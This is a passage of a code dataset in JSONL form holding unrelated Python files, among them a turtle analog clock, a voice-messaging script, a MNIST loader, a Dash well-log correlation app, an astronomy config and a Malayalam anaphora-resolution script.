turtle.Screen()\r\nwindow.bgcolor(\"white\")\r\nwindow.setup(width = 600, height = 600)\r\nwindow.title(\"Analog Clock by MD\")\r\nwindow.tracer(0)# turns off the animation\r\n# Watch interface end\r\n\r\n# Create our drawing pen\r\npen = turtle.Turtle()\r\npen.hideturtle()# hide the drawing pen\r\npen.speed(0)# animation speed 0 is the fastest\r\npen.pensize(3)# width of the lines\r\n\r\ndef draw_clock(h, m, s, pen): # Drawing clock with pen code\r\n # Draw Clock face\r\n pen.up()\r\n pen.goto(0, 210)\r\n pen.setheading(180)\r\n pen.color(\"green\")\r\n pen.pendown()\r\n pen.circle(210)# radius of circle\r\n\r\n # Draw lines for hours\r\n pen.penup()\r\n pen.goto(0, 0)# Center\r\n pen.setheading(90)\r\n\r\n for _ in range(12): #12 hours\r\n pen.fd(190)# go up to the circle\r\n pen.pendown()\r\n pen.fd(20)\r\n pen.up()\r\n pen.goto(0, 0)\r\n pen.rt(30)# each hour is 30 degrees\r\n\r\n # Draw hour hand\r\n pen.penup()\r\n pen.goto(0, 0)\r\n pen.color(\"grey\")\r\n pen.setheading(90)# 0 right 90 up 180 left 270 down\r\n angle = (h / 12) * 360 + (m / 60) * 30\r\n pen.rt(angle)\r\n pen.pendown()\r\n pen.fd(80)\r\n\r\n # Draw minute hand\r\n pen.penup()\r\n pen.goto(0, 0)\r\n pen.color(\"blue\")\r\n pen.setheading(90)# 0 right 90 up 180 left 270 down\r\n angle = (m / 60) * 360 + (s / 60) + 6\r\n pen.rt(angle)\r\n pen.pendown()\r\n pen.fd(150)\r\n\r\n # Draw second hand\r\n pen.penup()\r\n pen.goto(0, 0)\r\n pen.color(\"red\")\r\n pen.setheading(90)# 0 right 90 up 180 left 270 down\r\n angle = (s / 60) * 360\r\n pen.rt(angle)\r\n pen.pendown()\r\n pen.fd(180)\r\n\r\nwhile True:\r\n h = int(time.strftime(\"%I\"))# Gives time straight forward %I gives time 0 to 12\r\n m = int(time.strftime(\"%M\"))\r\n s = int(time.strftime(\"%S\"))\r\n draw_clock(h, m, s, pen)\r\n window.update()\r\n time.sleep(1)\r\n pen.clear()\r\n\r\n\r\nwindow.mainloop() # with this loop window never close\r\n","sub_path":"simpleAnalogClock.py","file_name":"simpleAnalogClock.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"326523583","text":"import pyttsx3\r\nimport speech_recognition as sr\r\nr = sr.Recognizer()\r\ntexts = open(\"texts.txt\",\"r\").read()\r\n#print(texts)\r\nnumoTxts = texts.count('[&]')\r\n#print(numoTxts)\r\nrunning = True\r\n# Record Audio\r\nr = sr.Recognizer()\r\nglobal message \r\nmessage = []\r\ndef say(what):\r\n engine = pyttsx3.init()\r\n engine.say(what)\r\n engine.runAndWait()\r\n\r\n \r\ndef hear(theword, message):\r\n running = True\r\n while running: \r\n with sr.Microphone() as source:\r\n try:\r\n print(\"[*]\")\r\n audio = r.listen(source)\r\n print(r.recognize_google(audio))\r\n message.append(r.recognize_google(audio))\r\n if r.recognize_google(audio) == theword:\r\n running = False\r\n except sr.UnknownValueError:\r\n say(\"I did not understand. Please try again.\")\r\n \r\n\r\ndef whattosay():\r\n running = True\r\n while running:\r\n with sr.Microphone() as source:\r\n #say(\"speak now\")\r\n print(\"[*]\")\r\n audio = r.listen(source)\r\n print(r.recognize_google(audio))\r\n try:\r\n return r.recognize_google(audio)\r\n running = False\r\n except sr.UnknownValueError:\r\n say(\"I did not understand. Please try again.\")\r\n\r\ndef confirm(message):\r\n say(\"Is this what you mean to say\")\r\n say(message)\r\n running = True\r\n while running:\r\n with sr.Microphone() as source:\r\n print(\"[*]\")\r\n audio = r.listen(source)\r\n try:\r\n if r.recognize_google(audio) == \"yes\":\r\n say(\"Message sent\")\r\n running = False\r\n elif r.recognize_google(audio) == \"no\":\r\n say(\"Try again\")\r\n running = False\r\n except sr.UnknownValueError:\r\n say(\"I did not understand. Please try again.\")\r\n\r\n\r\nsay(texts)\r\nsay(\"Hello, and welcome to ez txt\")\r\nsay(\"You have\")\r\nsay(numoTxts)\r\nsay(\"unread messages\")\r\nsay(\"What word will be the send word?\")\r\ntheword = whattosay()\r\nhear(theword, message)\r\nconfirm(message)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"218994543","text":"import sys, os\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom UcsBase import ManagedObject\nsys.path.remove(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nclass EquipmentAdaptorDef(ManagedObject):\n\tdef __init__(self):\n\t\tManagedObject.__init__(self,\"EquipmentAdaptorDef\")\n\n\t@staticmethod\n\tdef ClassId():\n\t\treturn \"equipmentAdaptorDef\"\n\n\tDESCR = \"Descr\"\n\tDN = \"Dn\"\n\tETHERNET_PORT_SPEED = \"EthernetPortSpeed\"\n\tFIBRE_CHANNEL_PORT_SPEED = \"FibreChannelPortSpeed\"\n\tNAME = \"Name\"\n\tPOLICY_LEVEL = \"PolicyLevel\"\n\tPOLICY_OWNER = \"PolicyOwner\"\n\tRN = \"Rn\"\n\tSTATUS = \"Status\"\n\n\tCONST_INT_ID_NONE = \"none\"\n\tCONST_POLICY_OWNER_LOCAL = \"local\"\n\tCONST_POLICY_OWNER_PENDING_POLICY = \"pending-policy\"\n\tCONST_POLICY_OWNER_POLICY = \"policy\"\n","sub_path":"UcsSdk-0.8.3/src/UcsSdk/MoMeta/EquipmentAdaptorDef.py","file_name":"EquipmentAdaptorDef.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"545014060","text":"import os\nimport errno\n\nimport numpy as np\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nimport torchvision\n\n\ndef mnist(root='./data/', batch_size=64, deterministic_split=False, seed=1, download=True):\n\n np.random.seed(seed) # set the seed the same as that for pytorch\n\n transformation = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n\n dataset = torchvision.datasets.MNIST(\n root, train=True, transform=transformation, target_transform=None,\n download=True)\n test_set = torchvision.datasets.MNIST(\n root, train=False, transform=transformation, target_transform=None,\n download=True)\n\n if not deterministic_split:\n train_indices = np.sort(np.random.choice(60000, 50000, replace=False))\n val_indices = np.setdiff1d(np.arange(60000), train_indices)\n else:\n train_indices = np.arange(50000)\n val_indices = np.arange(50000, 60000)\n\n train_dataset = data.dataset.Subset(dataset, train_indices)\n val_dataset = data.dataset.Subset(dataset, val_indices)\n\n trainloader = data.DataLoader(\n train_dataset, batch_size=batch_size, shuffle=True, num_workers=8)\n valloader = data.DataLoader(\n val_dataset, batch_size=batch_size, shuffle=False, num_workers=8)\n testloader = data.DataLoader(\n test_set, batch_size=batch_size, shuffle=False, num_workers=8)\n\n return trainloader, valloader, testloader\n","sub_path":"mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"146552589","text":"from welly import Well, Project ##Welly is used to organize the well data and project collection\n\nimport plotly.express as px ##plotly is used as the main display functionality\nfrom dash import Dash, callback_context ##dash is used to update the plot and fields dynamically in a web browser\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport flask\nfrom dash.dependencies import Input, Output, State\n\nimport json\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nimport numpy as np\n\nimport helper\n\napp = Dash(__name__)\n# Create server variable with Flask server object for use with gunicorn\nserver = app.server\n\n# # load well data\n\"\"\"Need to add a method for the user to point to the directory or add additional las files later\"\"\"\n#w = Well.from_las(str(Path(\"data/las/PoseidonNorth1Decim.LAS\"))) #original example\np = Project.from_las(str(Path(\"data/McMurray_data/las/*.LAS\")))\nwell_uwi = [w.uwi for w in p] ##gets the well uwi data for use in the well-selector tool\n\ndf = p[0].df() ##gets data from the first well in the Welly Project\ncurve_list = df.columns.tolist() ##gets the column names for later use in the curve-selector tool\ncurve = curve_list[0] ##gets the first curve name to be used as the first curve displayed in the plotly figure\n\n\n## Load well top data\nsurface_picks_df = pd.read_table(Path('./data/McMurray_data/PICKS.TXT'),\n usecols=['UWI', 'PICK', 'MD'])\n\n\n\n#well dropdown selector\nwell_dropdown_options = [{'label': k, 'value': k} for k in sorted(well_uwi)] ##list of wells to the dropdown\n#tops dropdown options\n\"\"\"we need to have a stratigraphic column at some point\"\"\"\ntops_dropdown_options = [{'label': k, 'value': k} for k in list(surface_picks_df['PICK'].unique())] ##list of tops to the dropdown\n##well log curve dropdown options\ncurve_dropdown_options = [{'label': k, 'value': k} for k in sorted(curve_list)] ##list of well log curves to the dropdown\n\n# draw the initial plot\n#plotting only GR and ILD in a subplot\nfig_well_1 = helper.make_log_plot(df)\n\napp.title = \"SwellCorr\"\napp.layout = html.Div(children=[\n html.Div(\n children=[\n html.H4('SwellCorr well correlation')\n ]\n ),\n html.Div(\n children=[\n html.Div([\n 'Select well:', ##Well selector\n dcc.Dropdown(id='well-selector', options=well_dropdown_options, value=well_uwi[0], style={'width': '200px'}),\n\n 'Edit tops:', ##existing top to edit selector\n dcc.Dropdown(id='top-selector', options=tops_dropdown_options, placeholder=\"Select a top to edit\", style={'width': '200px'}),\n \n html.Hr(),\n 'Create a new surface pick:', html.Br(), ##dialog to creat a new well top correlation for a well\n dcc.Input(id='new-top-name', placeholder='Name for new top', type='text', value=''),\n html.Button('Create', id='new-top-button'),\n \n html.Hr(),\n 'Curve Select:', html.Br(), ##well log curve selector\n dcc.Dropdown(id='curve-selector', options=curve_dropdown_options, placeholder=\"deprecated\", style={'width': '200px'}),\n \n html.Hr(),\n \"Write tops to file:\", ##input box and button for outputting well correlation results to file\n dcc.Input(id='input-save-path', type='text', placeholder='path_to_save_picks.json', value=''),\n html.Button('Save Tops', id='save-button', n_clicks=0),\n\n html.Hr(), ##button to update the Striplog dict on the page\n html.Button('Update Striplog', id='gen-striplog-button')\n\n ]),\n dcc.Graph(id=\"well_plot\", \n figure=fig_well_1,\n style={'width': '200', 'height':'1000px'}), ##figure of log curve with well tops\n\n html.Div([\n # hidden_div for storing tops data as json\n # Currently not hidden for debugging purposes. change style={'display': 'none'}\n html.Div(id='tops-storage', children=surface_picks_df.to_json()),#, style={'display': 'none'}),\n\n html.Hr(),\n html.H4('Striplog CSV Text:'),\n html.Pre(id='striplog-txt', children='', style={'white-space': 'pre-wrap'}), \n html.Img(id='corr-plot', src='https://images.squarespace-cdn.com/content/58a4b31dbebafb6777c575b4/1549829488328-IZMTRHP7SLI9P9Z7MUSW/website_logo_head.png?content-type=image%2Fpng')\n ]),\n \n # hidden_div for storing un-needed output\n html.Div(id='placeholder', style={'display': 'none'})\n ],\n style={'display': 'flex'}\n ),\n html.Div(\n html.P(children=['The swell way of correlating wells'])\n )\n ]\n)\n\n# update curve dropdown options when new well is picked\n\"\"\"update of new curve selector list when new well is triggered\"\"\"\n@app.callback(\n [Output('curve-selector', 'options'),\n Output('curve-selector', 'value')],\n [Input('well-selector', 'value')])\ndef well_update_changes_curves(well_uwi): ##def for updating curve list and curves\n w = p.get_well(well_uwi) ## identifies and gets the correct welly.Well object based on well_uwi\n df = w.df() ## creates dataframe from welly.Well object\n curve_list = sorted(df.columns.tolist()) ##gets curve list for welly.Well object\n curve = None #curve_list[0] ##identifies the first curve in list for default figure\n curve_dropdown_options = [{'label': k, 'value': k} for k in curve_list] ##creates dropdown list\n return curve_dropdown_options, curve ##returns the dropdown list options and the initial curve\n\n\n# update tops data when graph is clicked or new top is added\n@app.callback(\n Output('tops-storage', 'children'),\n [Input('well_plot', 'clickData'),\n Input('new-top-button', 'n_clicks')],\n [State(\"top-selector\", \"value\"),\n State(\"tops-storage\", \"children\"),\n State('new-top-name', 'value'),\n State('well-selector', 'value'),\n State('top-selector', 'options')])\ndef update_pick_storage(clickData, new_top_n_clicks, active_pick, surface_picks, new_top_name, active_well, tops_options):\n \"\"\"Update the json stored in tops-storage div based on y-value of click\"\"\"\n \n # Each element in the app can only be updated by one call back function.\n # So anytime we want to change the tops-storage it has to be inside of this function.\n # We need to use the dash.callback_context to determine which event triggered\n # the callback and determine which actions to take\n # https://dash.plotly.com/advanced-callbacks \n surface_picks_df = pd.read_json(surface_picks)\n \n # get callback context\n ctx = callback_context\n if not ctx.triggered:\n event_elem_id = 'No clicks yet'\n else:\n event_elem_id = ctx.triggered[0]['prop_id'].split('.')[0]\n\n # do the updating based on context\n if event_elem_id == \"well_plot\": # click was on the plot\n if active_pick:\n y = clickData['points'][0]['y']\n\n # update the tops depth df\n pick = {'UWI': active_well, 'PICK': active_pick, 'MD': y} \n surface_picks_df = surface_picks_df.append(pick, ignore_index=True).drop_duplicates(subset=['UWI', 'PICK'], keep='last')\n \n if event_elem_id == \"new-top-button\": # click was on the new top button\n options = [d['value'] for d in tops_options] # tops_options is list of dicts eg [{'label': pick, 'value': pick}]\n if not new_top_name in options:\n pick = {'UWI': active_well, 'PICK': new_top_name, 'MD': np.nan} \n surface_picks_df = surface_picks_df.append(pick, ignore_index=True).drop_duplicates(subset=['UWI', 'PICK'], keep='last')\n\n return surface_picks_df.to_json() \n\n# Update graph when tops storage changes\n@app.callback(\n Output(\"well_plot\", \"figure\"),\n [Input('tops-storage', 'children'),\n Input('curve-selector', 'value')],\n [State('well-selector', 'value')] ## With multiple wells the state of the well_uwi must be passed to select the right welly.Well\n )\ndef update_figure(surface_picks, curve, active_well):\n \"\"\"redraw the plot when the data in tops-storage is updated\"\"\" \n surface_picks = pd.read_json(surface_picks)\n surface_picks = surface_picks[surface_picks['UWI'] == active_well]\n\n w = p.get_well(active_well) ##selects the correct welly.Well object\n df = w.df() ##reloads the correct dataframe for the display\n \n # regenerate figure with the new horizontal line\n fig = helper.make_log_plot(df)\n helper.update_picks_on_plot(fig, surface_picks)\n \n return fig\n\n\n# update dropdown options when new pick is created\n@app.callback(\n Output(\"top-selector\", \"options\"),\n [Input('tops-storage', 'children')])\ndef update_dropdown_options(surface_picks):\n \"\"\"update the options available in the dropdown when a new top is added\"\"\"\n \n surface_picks = pd.read_json(surface_picks)\n tops_dropdown_options = [{'label': k, 'value': k} for k in list(surface_picks['PICK'].unique())]\n return tops_dropdown_options\n\n\n# Write tops to external file\n@app.callback(\n Output('placeholder', 'children'),\n [Input('save-button', 'n_clicks')],\n [State('tops-storage', 'children'),\n State('input-save-path', 'value')])\ndef save_picks(n_clicks, surface_picks, path):\n \"\"\"Save out picks to a json file. \n TODO: I am sure there are better ways to handle saving out picks, but this is proof of concept\"\"\"\n #picks_df = pd.read_json(surface_picks)\n\n if path:\n path_to_save = Path('.') / 'data' / 'updates' / path\n with open(path_to_save, 'w') as f:\n json.dump(surface_picks, fp=f)\n\n return\n\n# create striplog csv text\n@app.callback(\n Output('striplog-txt', 'children'),\n [Input('gen-striplog-button', 'n_clicks'),\n Input('well-selector', 'value')],\n [State('tops-storage', 'children')])\ndef generate_striplog(n_clicks, active_well, surface_picks):\n print(active_well)\n surface_picks = pd.read_json(surface_picks)\n surface_picks = surface_picks[surface_picks['UWI'] == active_well] \n s = helper.surface_pick_to_striplog(surface_picks)\n return json.dumps(s)\n\nif __name__ == \"__main__\":\n app.run_server(port=4545, debug=True)","sub_path":"app_MultiTrack.py","file_name":"app_MultiTrack.py","file_ext":"py","file_size_in_byte":10343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"497008306","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\n#a virtural client for test\n#will send string like \"+ xxx.xx\"\n\ndstaddr = ('192.168.1.187', 2333)\nimport socket, time\ndef startvirtualclient (nodename):\n\twhile True:\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tpack = \"{}:+34.45\".format(nodename)\n\t\tpack= pack.encode('utf-8')\n\t\ttry :\n\t\t\tprint(\"uploading...\")\n\t\t\ts.connect(dstaddr)\n\t\t\ts.send(pack)\n\t\t\tprint(\"uploaded !\")\n\t\texcept BaseException as e:\n\t\t\tprint(\"failed to upload due to :\", e)\n\t\tfinally :\n\t\t\ts.close()\n\t\t\t#print(\"connection closed !\")\n\t\ttime.sleep(1)#wait 1 sec\t\n#main\nif __name__ == '__main__':\n\tnodename = input(\"enter a unique name for the node :\") \n\tif not nodename.isalnum() :\n\t\tprint(\"alpha or number allowed only\")\n\t\tquit()\n\tprint(\"running virtual node {}...\".format(nodename))\n\tstartvirtualclient(nodename)\n","sub_path":"hub/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"499020471","text":"\"\"\"Configure file for automation\"\"\"\nimagefile = 'j8f645-1-1_drz_sci.fits'\nwhtfile = 'j8f645-1-1_drz_rms.fits' #The weight image. \nsex_cata = 'j8f645_sex.cat' #The sextractor catalogue which has \n #the format given in the file\nclus_cata = 'cl1216-1201.cat' #catalogue of galaxies from\n #online catalogu service\n #(name ra1 ra2 ra2 dec1 dec2 dec3)\nout_cata = 'cl1216-1201_out.cat' #catalogue of galaxies in the field\n\npsflist = ('psf_1216435-1203120.fits', 'psf_1216392-1202402.fits', 'psf_1216382-1200443.fits', 'psf_1216433-1202030.fits', 'psf_1216446-1203464.fits', 'psf_1216384-1201179.fits') #List of psf containg their \n #position information in the \n #header (RA_TARG, DEC_TARG). \n #Make psf with the names as here \n #and use psf_header_update.py. \n #It will update the header information.\nmag_zero = 25.256 #magnitude zero point\nmask_reg = 2.0\nthresh_area = 1650.0\nthreshold = 2.5 #Masking will start for neighbours \n #whose distace from the object greater \n #than threshold * semi-major axis of \n #the object and area of the neighbour \n #less than thresh_area sq.pixel. \n #The masking will be for a circular \n #region of radius mask_reg*semi-major \n #axis of the nighbour with respect to \n #the center of the neightbour.\nsize = 120 #size of the stamp image\nshiftra = 0.000212500000004 \nshiftdec = 6.66666666653e-05 #If the image WCS is not same as the \n #coordinate given in the clus_cata, \n #the appropriateshiftra and shiftdec \n #should be used. It will be better to \n #correct WCS using iraf command ccmap \n #so that the programcan identify the \n #correct objects. Remember: Shift \n #in the frame in not LINEAR! and it \n #can leads to detect wrong objects\npixelscale = 0.045 #Pixel scale (arcsec/pixel)\n\nH0 = 71 #Hubble parameter\nWM = 0.27 #Omega matter\nWV = 0.73 #Omega Lambda\nrepeat = False #Repeat the pipeline manually\n","sub_path":"tags/1.3/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"625818700","text":"from core.pathant.PathSpec import PathSpec\n\n\nclass Filter (PathSpec):\n def __init__(self, f, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.f= f\n\n def __call__(self, x_ms, *args, **kwargs):\n for x_m in x_ms:\n if self.f(x_m):\n print(self.f(x_m))\n yield x_m\n\n\n","sub_path":"python/core/pathant/Filter.py","file_name":"Filter.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"320195472","text":"\r\n# Importing Malayalam Morphological Analyzer mlmoprh:\r\n\r\nfrom mlmorph import Analyser\r\nanalyser = Analyser()\r\n\r\nfrom mlmorph import Generator\r\ngenerator = Generator()\r\n\r\n# Creating an infinite loop:\r\n\r\nwhile True:\r\n\r\n# Creating user input and extracting information from user input:\r\n\r\n # creating user input:\r\n para = input(\"Input sentence here: \")\r\n # Splitting user inputed paragraph into sentences:\r\n sent = para.split('.')\r\n # Creating empty lists 'words', 'se', 'complist', 'wsf', 'reflxv'.\r\n words = []\r\n se = []\r\n complist = []\r\n wsf = []\r\n reflxv = []\r\n\r\n # For each sentence: \r\n for w in range(len(sent)):\r\n # Splitting sentence into words:\r\n word = sent[w].split()\r\n\r\n# Preperation for adding index of the sentence numbers.\r\n\r\n # Duplicating 'word' list:\r\n ws = word\r\n # Creating a list of word with the sentence number.\r\n for n in range(len(ws)):\r\n ws1 = [ws[n], w]\r\n wsf.append(ws1)\r\n \r\n\r\n# Analyzing user input with a Morphological Analyzer:\r\n\r\n # Preparing morphological analyzer:\r\n analyser = Analyser()\r\n\r\n # For each word:\r\n for w1 in word:\r\n # Adding each word to list 'words':\r\n words.append(w1)\r\n # Analyzing each word using Morphological Analyzer\r\n wrdana = analyser.analyse(w1)\r\n \r\n\r\n# Extracting information from the analysis:\r\n\r\n # Creating empty list 'anlyzd'\r\n anlyzd = []\r\n\r\n # For each analysis:\r\n for a1 in wrdana:\r\n # Converting tuple to list: \r\n lst = list(a1)\r\n # For each item in the list:\r\n for i in lst:\r\n # If item is a string:\r\n if type(i) != int:\r\n # Split item between '<'\r\n wrd1 = i.split('<')\r\n # For each item in the list:\r\n for i2 in wrd1:\r\n # If item is a string:\r\n if type(i2) != int:\r\n # Split item between '>':\r\n wrd2 = i2.split('>')\r\n # For each item in the list:\r\n for i3 in wrd2:\r\n # Add item to the list 'anlyzd'\r\n anlyzd.append(i3)\r\n # Else, continue the program.\r\n else:\r\n pass\r\n # Else, continue the program.\r\n else:\r\n pass\r\n\r\n # Adding word to the analysis list:\r\n anlyzd.insert(0,w1)\r\n\r\n # Creating a list of analyzed information.\r\n complist.append(anlyzd)\r\n \r\n \r\n# Creating an index for analyzed information:\r\n\r\n # Creating empty list:\r\n ind = []\r\n # Comparing analyzed word list and sentence word list:\r\n for w2 in range(len(complist)):\r\n for x in range(len(words)):\r\n # If words match:\r\n if complist[w2][0] == words[x]:\r\n # If word already exist in list 'ind':\r\n if words[x] in ind:\r\n # Replace the word's index number.\r\n complist[w2][-1] = w2\r\n else:\r\n # Else, add index number.\r\n complist[w2].append(x)\r\n # Add word to the list 'ind'.\r\n ind.append(complist[w2][0])\r\n else:\r\n pass\r\n \r\n\r\n# Creating an index for sentence number.\r\n\r\n # Comparing the two lists 'wsf' and 'complist':\r\n for ws2 in range(len(wsf)):\r\n for co in range(len(complist)):\r\n # If words match:\r\n if co == ws2:\r\n # Inserting sentence number from list 'wsf' to 'complist'\r\n complist[co].insert(1,wsf[ws2][-1])\r\n else:\r\n pass\r\n\r\n\r\n\r\n# Exracting noun and pronomina entities from the input:\r\n\r\n # Creating empty lists 'noun' and 'prnoun':\r\n noun = []\r\n prnoun = []\r\n\r\n # For each item in the list 'complist':\r\n for n in complist:\r\n # If item is noun:\r\n if 'np' in n:\r\n # Add item to the list 'noun':\r\n noun.append(n)\r\n # If item is pronoun:\r\n elif 'prn' in n:\r\n # Add item to the list 'prnoun':\r\n prnoun.append(n)\r\n else:\r\n pass\r\n\r\n \r\n# Creating dialogue for output:\r\n\r\n anap = \"The anaphora is : \"\r\n ante = \"The antecedent is : \"\r\n noan = \"There is no coreference for the pronoun\"\r\n noant = \"There is no antecedent in the input.\"\r\n noanp = \"There is no anaphora in the input.\"\r\n\r\n\r\n# Creating a list of 1st and 2nd person pronouns:\r\n\r\n prn1n2 = ['ഞാൻ', 'നീ', 'നിങ്ങൾ', 'ഞങ്ങൾ', 'നമ്മൾ', 'നാം', 'താങ്കൾ' ]\r\n\r\n# Creating a list of reflexive pronouns:\r\n\r\n reflxv = ['തന്നെ', 'താനെ', 'സ്വയം', 'സ്വൻതം', 'സ്വന്തo' ]\r\n\r\n# Analysing reflexive pronoun in the input and labelling them:\r\n\r\n # For each pronoun\r\n for p in range(len(prnoun)):\r\n # If pronoun is in the list 'reflxv':\r\n if prnoun[p][0] in reflxv:\r\n # If the pronoun is not the first word of the sentence:\r\n if prnoun[p][-1] != 0:\r\n # If the word precceding the pronoun is a noun or a pronoun:\r\n if complist[prnoun[p][-1]-1] in noun or complist[prnoun[p][-1]-1] in prnoun:\r\n # Insert 'reflx' in the pronoun's and the preceeding word's analysis data: \r\n complist[prnoun[p][-1]-1].insert(5,'reflx')\r\n prnoun[p].insert(5,'reflx')\r\n else:\r\n pass\r\n else:\r\n pass\r\n else:\r\n pass\r\n\r\n\r\n# Defining function for 1st and 2nd person pronoun:\r\n\r\n def p1n2():\r\n # Creating empty list:\r\n m = []\r\n # for each pronoun:\r\n for pr in prnoun[p]:\r\n # if pronoun in list prn1n2\r\n if pr in prn1n2:\r\n # Adding pronoun to list 'm' if not present:\r\n if 'm' not in m:\r\n m.append('m')\r\n else:\r\n pass\r\n else:\r\n pass\r\n # If list 'm' is not empty:\r\n if len(m) == 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, sub[0][2])\r\n # Else, print as instructed. \r\n else:\r\n print(noan, prnoun[p][0])\r\n\r\n# Defining function for affirmation:\r\n\r\n def affr():\r\n # Creating empty list:\r\n aff = []\r\n # for each word in the sentence containing the pronoun:\r\n for ws in range(len(wis)):\r\n # If affirmation present in the word:\r\n if 'aff' in wis[ws]:\r\n # Add word to the list 'wis':\r\n aff.append(wis[ws])\r\n else:\r\n pass\r\n # If the list 'aff' is not empty: \r\n if len(aff) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, sub[0][2])\r\n else:\r\n # Else, run function 'out'.\r\n out()\r\n \r\n\r\n# Defining function for negation:\r\n\r\n def negt():\r\n # Creating empty list:\r\n neg = []\r\n # for each word in the sentence containing the pronoun:\r\n for ws in range(len(wis)):\r\n # If the word contain negation:\r\n if 'neg' in wis[ws]:\r\n # Add word to the list 'neg':\r\n neg.append(wis[ws])\r\n else:\r\n pass\r\n # If the list 'neg' is not empty:\r\n if len(neg) > 0:\r\n # Print as instructed:\r\n print(noan, prnoun[p][0])\r\n else:\r\n # Else, run function 'affr'.\r\n affr()\r\n\r\n\r\n# Defining function for output:\r\n\r\n def out():\r\n # If the number of nouns in the sentence containing the pronoun is 1: \r\n if len(nis) == 1:\r\n # If the number of nouns in the sentence preceeding the sentence containing the pronoun is 1: \r\n if len(nbs) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, nbs[-1][2])\r\n # If the number of nouns in the sentence preceeding the sentence containing the pronoun is 1: \r\n elif len(nfs) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, nfs[0][2])\r\n # Else, print as instructed.\r\n else:\r\n print(noan, prnoun[p][0])\r\n # Else, # If the number of nouns in the sentence containing the pronoun is more than 1: \r\n else:\r\n # If the number of possible antecedent candidates is more than 0:\r\n if len(psscan) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, psscan[-1][2])\r\n # Else if the number of possible antecedent candidates is 0:\r\n else:\r\n # If the number of nouns in the sentence preceeding the sentence containing the pronoun is 1: \r\n if len(nbs) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, nbs[-1][2])\r\n # If the number of nouns in the sentence preceeding the sentence containing the pronoun is 1: \r\n elif len(nfs) > 0:\r\n # Print as instructed.\r\n print(anap, prnoun[p][0])\r\n print(ante, nfs[0][2])\r\n # Else, print as instructed.\r\n else:\r\n print(noan, prnoun[p][0])\r\n \r\n\r\n# Defining function for determinig the antecedent depending on the case of the pronoun:\r\n\r\n def case():\r\n # If case of pronoun is accusative:\r\n if 'accusative' in prnoun[p]:\r\n # Run function 'out':\r\n out()\r\n # If case of pronoun is genetive:\r\n elif 'genitive' in prnoun[p]:\r\n # If noun occurs before pronoun:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Creating empty list 'per':\r\n per = []\r\n # For each word in the sentence:\r\n for ws in range(len(wis)):\r\n # If word 'പേര്' in the sentence:\r\n if 'പേര്' in wis[ws]:\r\n # Add word to the list 'per'\r\n per.append(wis[ws])\r\n # If the list 'per' is not empty:\r\n if len(per) > 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, sub[0][2])\r\n # Else, run function p1n2():\r\n else:\r\n p1n2()\r\n # Else if noun occurs after pronoun: \r\n else:\r\n # Creating empty list 'per':\r\n per = []\r\n # For each word in the sentence:\r\n for ws in range(len(wis)):\r\n # If word 'പേര്' in the sentence:\r\n if 'പേര്' in wis[ws]:\r\n # Add word to the list 'per'\r\n per.append(wis[ws])\r\n # If the list 'per' is not empty:\r\n if len(per) > 0:\r\n # Print as instructed:\r\n print(anap, prnoun[p][0])\r\n print(ante, sub[0][2])\r\n # Else, run the function 'out'.\r\n else:\r\n out()\r\n # If case of pronoun is instrumental:\r\n elif 'instumental' in prnoun[p]:\r\n # If the case of noun is accusative or instrumental or dative or locative:\r\n if 'accusative' in sub[0] or 'instrumental' in sub[0] or 'dative' in sub[0] or 'locative' in sub[0]:\r\n # Run function 'out':\r\n out()\r\n # Else if noun occurs before pronoun:\r\n else:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Run function 'p1n2':\r\n p1n2()\r\n # Else, run function 'out':\r\n else:\r\n out()\r\n # Else if case of pronoun is dative:\r\n elif 'dative' in prnoun[p]:\r\n # Check if case of noun is accusative or instrumental or locative: \r\n if 'accusative' in sub[0] or 'instrumental' in sub[0] or 'locative' in sub[0]:\r\n # Run function 'out':\r\n out()\r\n # Else is noun or pronoun is affirmative:\r\n elif 'aff' in sub[0] or 'aff' in prnoun[p]:\r\n # Print as instructed\r\n print(anap, prnoun[p][0])\r\n print(ante, sub[0][2]) \r\n else:\r\n # Else if noun occurs before pronoun:\r\n if sub[0][-1] < prnoun[p][-1]:\r\n # Run function 'p1n2':\r\n p1n2()\r\n else:\r\n # Else, run function 'out':\r\n out()\r\n # Else if case of pronoun is locative:\r\n elif 'locative' in 